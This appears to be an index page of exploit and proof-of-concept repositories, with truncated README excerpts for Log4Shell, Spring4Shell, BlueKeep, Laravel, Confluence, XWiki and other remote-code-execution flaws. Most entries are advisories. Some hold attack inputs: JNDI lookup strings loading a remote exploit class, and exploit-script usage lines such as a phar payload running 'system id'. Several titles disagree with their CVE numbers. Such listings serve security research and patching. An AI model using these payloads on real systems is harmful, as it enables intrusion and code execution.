CVE-2021-44228-Demo

CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer and LdapServ...

Project-CVE-2015-1635

CVE-2015-1635 CVE-2015-1635, MS15-034 Vulnerability Detection USAGE python MS15-034.py www.xxx.com:80 Test Program HTTP.sys Remote Code Execution Vulnerability CVE-2015-1635, MS15-034 A remote code execution vulnerability exists in the HTTP protocol stack HTTP.sys when HTTP.sys does not properly...

CVE-2022-22965

CVE-2022-22965 Spring4Shell Analysis Vulnerability Description Spring4Shell is the name of a CVE existing on Spring Core of the Spring Framework. With a CVSS 3.x score of 9.8, the vulnerability is classified as the highest risk level critical. This vulnerability allows an attacker to execute remo...

CVE-2024-21689

CVE-2024–21689 RCE Bamboo Data Center and Server Atlassian CVSS Score - 7.6 🔥 Description This High severity RCE Remote Code Execution vulnerability CVE-2024-21689 was introduced in versions 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0, and 9.6.0 of Bamboo Data Center and Server. This RCE Remote Code...

CVE-2021-21983

CVE-2021-21975 VMware vRealize Operations vROps Manager API Arbitrary File Write Leads to Remote Code Execution RCE vRealize Operations vROps is a tool that self-driving IT operations management powered by AI from apps to infrastructure to optimize, plan and scale VMware Cloud and HCI deployments...

CVE-2019-0709

CVE-2019-0708 BlueKeep Exploit CVE-2019-0708 RCE and Crash Exploit using Python Crash Exploit Published Usage: python3 crashexploit.py 127.0.0.1 64 RCE Exploit Not Published Usage: python3 exploitrce.py 127.0.0.1 payload...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - RCE Remote Code Execution Vulnerability in Out-of-Date Versions of Confluence Data Center and Server Advisory Release Date Tue, Jan 16 2024 01:00 EST Products: Confluence Data Center Confluence Server Affected Versions: 8.0.x 8.1.x 8.2.x 8.3.x 8.4.x 8.5.0-8.5.3...

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution CVE-2024-22515 arbitrary file upload and CVE-2024-22514 remote code execution for AgentDVR 5.1.6.0 Authenticated Older versions likely affected https://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution...

CVE-2017-9805

Test nuclei CVE-2017-9805.yaml - struts2 showcase RCE Build Dockerfile docker build -t cve-2017-9805 . Start and detach container docker run --name cve-2017-9805 -p 127.0.0.1:8080:8080 -dit cve-2017-9805 /bin/bash Login to running container docker exec -it cve-2017-9805 /bin/bash Start tomcat...

CVE-2021-39172-RCE

CVE-2021-39172 Cachet 2.4: Code Execution via Laravel Configuration Injection blog post about the vulnerability https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/ you can use this for ctf or just for learning have fun and May God bless you all...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar Log file:...

CVE-2019-7214

CVE-2019-7214 Remote Code Execution in .NET deserialization for the SmarterMail system. Collection Please find a collection of proof of concepts for the exploit in this repository. Some may work as intended without modification and some may require modification...

CVE-2016-2098

CVE-2016-2098 Remote code execution vulnerability in Ruby-on-Rails when using render on user-supplied data. Explanation: This issue comes from the usage of the render method on user-supplied data. The method render is usually used to render a page from a template, but render method also allows...

CVE-2025-24893

XWiki SSTI Exploit A Python exploit for XWiki Server-Side Template Injection SSTI vulnerability via Groovy template injection in the SolrSearch endpoint. Vulnerability Type : Server-Side Template Injection SSTI Component : XWiki SolrSearch RSS feed Impact : Remote Code Execution Affected Version ...

CVE-2025-67435

CVE-2025-67436 Authenticated Remote Code Execution RCE in PluXml CMS 5.8.22 Researcher : Chowdhury Faizal Ahammed Installation git clone https://github.com/pluxml/PluXml.git cd PluXml ddev config --project-type=php --php-version=8.1 --docroot=. ddev start Proof of Concept Step-by-Step Exploitatio...

RCE_CVE-2024-7954

RCECVE-2024-7954 Description: The porteplume plugin used by SPIP before 4.30-alpha2, 4.2.13, and 4.1.16 is vulnerable to an arbitrary code execution vulnerability. A remote and unauthenticated attacker can execute arbitrary PHP as the SPIP user by sending a crafted HTTP request. CRITICAL Exploit:...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator About This tool allows you to verify whether a simple Java web app is vulnerable to CVE-2021-44228 for a user provided version of Java and of Log4J. You can also optionally apply one of a view pre-defined mitigations. The simulation lab spun up by...

CVE-2021-41773_42013

CVE-2021-41773 and CVE-2021-42013 Lab Setup Setup $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 cd to the directory of your choice $ docker build -t vulnapache . $ docker run -d vulnapache NOTE: The httpd.conf files are configured to be vulnerable to RCE by...

CVE-2022-22963-POC

CVE-2022-22963 Exploit Description In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Abusing CVE-2024-2961 and CVE-2023–26326 to RCE Usage git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Analysis and Technical Details Che...